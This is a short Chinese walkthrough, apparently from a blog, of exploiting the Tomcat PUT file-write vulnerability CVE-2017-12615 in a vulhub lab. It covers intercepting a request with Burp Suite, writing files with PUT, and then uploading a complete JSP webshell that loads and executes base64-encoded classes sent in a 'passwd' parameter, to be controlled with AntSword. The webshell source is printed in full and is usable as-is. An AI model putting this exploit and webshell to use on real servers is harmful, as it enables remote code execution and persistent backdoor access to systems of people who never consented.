tomcat put方法任意写文件漏洞

(1)cd vulhub/tomcat/CVE-2017-12615 切换目录。

(2) docker-compose up -d 启动。

(3)访问:

(4)burpsuite抓包。

(5)send to repeater,修改为PUT /l3yx.txt。

(6) docker exec -it 3e7 bash ; cd webapps/ ;cd ROOT ;cat l3yx.txt进入容器,查看。

(7)上传jsp木马:输入PUT /x.jsp/

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}

public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("passwd");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

(8)蚁剑连接。

经验分享 程序员 微信小程序 职场和发展